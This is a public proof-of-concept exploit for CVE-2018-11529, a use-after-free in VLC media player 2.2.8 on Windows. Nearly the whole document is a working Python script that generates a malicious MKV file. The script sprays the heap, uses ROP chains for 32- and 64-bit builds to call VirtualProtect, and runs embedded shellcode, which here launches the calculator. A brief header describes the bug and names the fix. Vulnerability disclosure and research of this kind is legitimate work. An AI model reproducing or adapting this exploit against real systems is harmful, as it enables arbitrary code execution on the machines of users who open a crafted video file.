VLC media player 2.2.8 – Arbitrary Code Execution (PoC)

# Exploit Title: VLC media player 2.2.8 - Arbitrary Code Execution PoC

# Date: 2018-06-06

# Exploit Author: Eugene Ng

# Vendor Homepage: https://www.videolan.org/vlc/index.html

# Software Link: http://download.videolan.org/pub/videolan/vlc/2.2.8/win64/vlc-2.2.8-win64.exe

# Version: 2.2.8

# Tested on: Windows 10 x64

# CVE: CVE-2018-11529

#

# 1. Description

#

# VLC media player through 2.2.8 is prone to a Use-After-Free (UAF) vulnerability. This issue allows

# an attacker to execute arbitrary code in the context of the logged-in user via crafted MKV files. Failed

# exploit attempts will likely result in denial of service conditions.

#

# Exploit can work on both 32 bits and 64 bits of VLC media player.

#

# 2. Proof of Concept

#

# Generate MKV files using python

# Open VLC media player

# Drag and drop poc.mkv into VLC media player (more reliable than double clicking)

#

# 3. Solution

#

# Update to version 3.0.3

# https://get.videolan.org/vlc/3.0.3/win64/vlc-3.0.3-win64.exe

import uuid

from struct import pack

class AttachedFile(object):

def __init__(self, data):

self.uid = '\x46\xae' + data_size(8) + uuid.uuid4().bytes[:8]

self.name = '\x46\x6e' + data_size(8) + uuid.uuid4().bytes[:8]

self.mime = '\x46\x60' + data_size(24) + 'application/octet-stream'

self.data = '\x46\x5c' + data_size(len(data)) + data

self.header = '\x61\xa7' + data_size(len(self.name) + len(self.data) + len(self.mime) + len(self.uid))

def __str__(self):

return self.header + self.name + self.mime + self.uid + self.data

def to_bytes(n, length):

h = '%x' % n

s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex')

return s

def data_size(number, numbytes=range(1, 9)):

# encode 'number' as an EBML variable-size integer.

size = 0

for size in numbytes:

bits = size*7

if number <= (1 << bits) - 2:

return to_bytes(((1 << bits) + number), size)

raise ValueError("Can't store {} in {} bytes".format(number, size))

def build_data(size, bits, version):

target_addresses = {

'64': 0x40000040,

'32': 0x22000020,

}

target_address = target_addresses[bits]

exit_pointers = {

'64': {

'2.2.8': 0x00412680,

},

'32': {

'2.2.8': 0x00411364,

}

pExit = exit_pointers[bits][version]

rop_gadgets = {

'64': {

'2.2.8': [

0x004037ac, # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 # XOR EAX,EAX # RET

0x00403b60, # POP RCX # RET

target_address, # lpAddress

0x004011c2, # POP RDX # RET

0x00001000, # dwSize

0x0040ab70, # JMP VirtualProtect

target_address + 0x500, # Shellcode

],

},

'32': {

'2.2.8': [

0x0040ae91, # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET

0x00407086, # POP EDI # RETN [vlc.exe]

0x00000040, # 0x00000040-> edx

0x0040b058, # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe]

0x41414141, # Filler (compensate)

0x004039c7, # POP EAX # POP ECX # RETN [vlc.exe]

0x22000030, # Filler (compensate) for rol [eax] below

0x41414141, # Filler (compensate)

0x004039c8, # POP ECX # RETN [vlc.exe]

0x0041193d, # &Writable location [vlc.exe]

0x00409d18, # POP EBX # RETN [vlc.exe]

0x00000201, # 0x00000201-> ebx

0x0040a623, # POP EBP # RETN [vlc.exe]

0x004036CB, # POP ESI # RETN [vlc.exe]

0x0040848c, # JMP ds:[EAX * 4 + 40e000] [vlc.exe]

0x00407086, # POP EDI # RETN [vlc.exe]

0x0040ae95, # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe]

0x0040af61, # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8)

target_address + 0x5e0, # Shellcode

],

}

if bits == '64':

target_address_packed = pack("<Q", target_addresses[bits])

rop_chain = ''.join(pack('<Q', _) for _ in rop_gadgets[bits][version])

# https://github.com/peterferrie/win-exec-calc-shellcode/tree/master/build/bin

# w64-exec-calc-shellcode-esp.bin

shellcode = (

"\x66\x83\xe4\xf0\x50\x6a\x60\x5a\x68\x63\x61\x6c\x63\x54\x59\x48"

"\x29\xd4\x65\x48\x8b\x32\x48\x8b\x76\x18\x48\x8b\x76\x10\x48\xad"

"\x48\x8b\x30\x48\x8b\x7e\x30\x03\x57\x3c\x8b\x5c\x17\x28\x8b\x74"

"\x1f\x20\x48\x01\xfe\x8b\x54\x1f\x24\x0f\xb7\x2c\x17\x8d\x52\x02"

"\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xef\x8b\x74\x1f\x1c\x48\x01"

"\xfe\x8b\x34\xae\x48\x01\xf7\x99\xff\xd7"

# add shellcode to avoid crashes by terminating the process

# xor rcx, rcx # mov rax, pExit # call [rax]

"\x48\x31\xc9\x48\xc7\xc0" + pack("<I", pExit) + "\xff\x10")

if size == 0x180:

UAF_object = '\x41'

while len(UAF_object) < size:

UAF_object += UAF_object

UAF_object = UAF_object[:size]

UAF_object = UAF_object[:0x30] + target_address_packed + UAF_object[0x38:]

UAF_object = UAF_object[:0x38] + pack("<Q", target_address + 0x10000) + UAF_object[0x40:]

UAF_object = UAF_object[:0x168] + pack("<Q", target_address + 0x3c0) + UAF_object[0x170:]

UAF_object = UAF_object[:0x170] + target_address_packed + UAF_object[0x178:]

return UAF_object

else:

block = '\x00'

block_size = 0x1000

while len(block) < block_size:

block += block

block = block[:block_size]

block = block[:0x0] + '\x41' * 4 + block[0x4:]

block = block[:0x8] + target_address_packed + block[0x10:]

block = block[:0x10] + target_address_packed + block[0x18:]

block = block[:0x40] + pack("<Q", 0x1) + block[0x48:]

block = block[:0x58] + pack("<Q", target_address + 0x3a8) + block[0x60:]

block = block[:0xE4] + pack("<Q", 0x1) + block[0xEC:]

block = block[:0x1b8] + pack("<Q", target_address + 0x80) + block[0x1c0:]

block = block[:0x3b8] + rop_chain + block[0x3b8+len(rop_chain):]

block = block[:0x500] + shellcode + block[0x500 + len(shellcode):]

block = block[:0x6d8] + pack("<Q", target_address + 0x10) + block[0x6e0:]

while len(block) < size:

block += block

return block[:size]

else:

target_address_packed = pack("<I", target_addresses[bits])

rop_chain = ''.join(pack('<I', _) for _ in rop_gadgets[bits][version])

# https://github.com/peterferrie/win-exec-calc-shellcode/tree/master/build/bin

# w32-exec-calc-shellcode.bin

shellcode = (

"\x83\xE4\xFC\x31\xD2\x52\x68\x63\x61\x6C\x63\x54\x59\x52\x51\x64"

"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B"

"\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x54\x1F\x24"

"\x0F\xB7\x2C\x17\x42\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF0"

"\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7"

# add shellcode to avoid crashes by terminating the process

# xor eax, eax # push eax # mov eax, pExit # jmp eax

"\x31\xC0\x50\xA1" + pack("<I", pExit) + "\xff\xe0")

if size == 0x100:

UAF_object = '\x41'

while len(UAF_object) < size:

UAF_object += UAF_object

UAF_object = UAF_object[:size]

UAF_object = UAF_object[:0x28] + target_address_packed + UAF_object[0x2c:]

UAF_object = UAF_object[:0x2c] + pack("<I", target_address + 0x10000) + UAF_object[0x30:]

UAF_object = UAF_object[:0xf4] + pack("<I", target_address + 0x2bc) + UAF_object[0xf8:]

UAF_object = UAF_object[:0xf8] + target_address_packed + UAF_object[0xfc:]

return UAF_object

else:

block = '\x00'

block_size = 0x1000

while len(block) < block_size:

block += block

block = block[:block_size]

block = block[:0x0] + pack("<I", 0x22000040) + block[0x4:]

block = block[:0x4] + target_address_packed + block[0x8:]

block = block[:0x8] + target_address_packed + block[0xc:]

block = block[:0x10] + pack("<I", 0xc85) + block[0x14:]

block = block[:0x30] + pack("<I", 0x1) + block[0x34:]

block = block[:0xc0] + pack("<I", 0x1) + block[0xc4:]

block = block[:0x194] + pack("<I", 0x2200031c) + block[0x198:]

block = block[:0x2c0] + pack("<I", 0x220002e4) + block[0x2c4:]

block = block[:0x2f4] + pack("<I", 0x22000310) + block[0x2f8:]

block = block[:0x2f8] + rop_chain + block[0x2f8+len(rop_chain):]

block = block[:0x564] + pack("<I", 0x22000588) + block[0x568:]

block = block[:0x5e0] + shellcode + block[0x5e0+len(shellcode):]

while len(block) < size:

block += block

return block[:size]

def build_exploit(bits, version):

# EBML Header

DocType = "\x42\x82" + data_size(8) + "matroska"

EBML = "\x1a\x45\xdf\xa3" + data_size(len(DocType)) + DocType

# Seek Entries

SeekEntry = "\x53\xab" + data_size(4) # SeekID

SeekEntry += "\x15\x49\xa9\x66" # KaxInfo

SeekEntry += "\x53\xac" + data_size(2) + "\xff" * 2 # SeekPosition + Index of Segment info

SeekEntries = "\x4d\xbb" + data_size(len(SeekEntry)) + SeekEntry # Seek Entry

SeekEntry = "\x53\xab" + data_size(4) # SeekID

SeekEntry += "\x11\x4d\x9b\x74" # KaxSeekHead

SeekEntry += "\x53\xac" + data_size(4) + "\xff" * 4 # SeekPosition + Index of SeekHead

SeekEntries += "\x4d\xbb" + data_size(len(SeekEntry)) + SeekEntry # Seek Entry

SeekEntry = "\x53\xab" + data_size(4) # SeekID

SeekEntry += "\x10\x43\xa7\x70" # KaxChapters

SeekEntry += "\x53\xac" + data_size(4) + "\xff" * 4 # SeekPosition + Index of Chapters

SeekEntries += "\x4d\xbb" + data_size(len(SeekEntry)) + SeekEntry # Seek Entry

# SeekHead

SeekHead = "\x11\x4d\x9b\x74" + data_size(len(SeekEntries)) + SeekEntries

# Void

Void = "\xec" + data_size(2) + "\x41" # Trigger bug with an out-of-order element

# Info

SegmentUID = "\x73\xa4" + data_size(16) + uuid.uuid4().bytes

Info = "\x15\x49\xa9\x66" + data_size(len(SegmentUID)) + SegmentUID

# Chapters

ChapterSegmentUID = "\x6e\x67" + data_size(16) + uuid.uuid4().bytes

ChapterAtom = "\xb6" + data_size(len(ChapterSegmentUID)) + ChapterSegmentUID

EditionEntry = "\x45\xb9" + data_size(len(ChapterAtom)) + ChapterAtom

Chapters = "\x10\x43\xa7\x70" + data_size(len(EditionEntry)) + EditionEntry

if bits == '64':

size = 0x180

count = 60

else:

size = 0x100

count = 30

# Attachments

print "[+] Generating UAF objects...",

AttachedFiles = ""

for i in range(500):

AttachedFiles += str(AttachedFile(build_data(size, bits, version)))

Attachments = "\x19\x41\xa4\x69" + data_size(len(AttachedFiles)) + AttachedFiles

print "done"

# Cluster

print "[+] Generating payload...",

payload = build_data(0xfff000, bits, version)

SimpleBlocks = "\xa3" + data_size(len(payload)) + payload

SimpleBlocksLength = len(SimpleBlocks) * count

Timecode = "\xe7" + data_size(1) + "\x00"

Cluster = "\x1f\x43\xb6\x75" + data_size(len(Timecode) + SimpleBlocksLength) + Timecode

print "done"

# Concatenate everything

SegmentData = SeekHead + Void + Info + Chapters + Attachments + Cluster

Segment = "\x18\x53\x80\x67" + data_size(len(SegmentData) + SimpleBlocksLength) + SegmentData

mkv = EBML + Segment

print "[+] Writing poc MKV...",

with open('poc.mkv', 'wb') as fp:

fp.write(mkv)

for i in range(count):

fp.write(SimpleBlocks)

print "done"

# Bug requires another MKV file in the same directory, hence we

# generate another 'minimally valid' MKV file that VLC will parse

# Also able to use any other valid MKV file...

auxi_mkv = mkv[:0x4f] + "\x15\x49\xa9\x66" + data_size(10) # Add some arbitrary size

print "[+] Writing auxiliary MKV...",

with open('auxi.mkv', 'wb') as fp:

fp.write(auxi_mkv)

print "done"

if __name__ == '__main__':

bits = '64' # 32 / 64

version = '2.2.8'

print "Building exploit for %s-bit VLC media player %s on Windows" % (bits, version)

build_exploit(bits, version)

print "Open VLC and drag and drop in poc.mkv"

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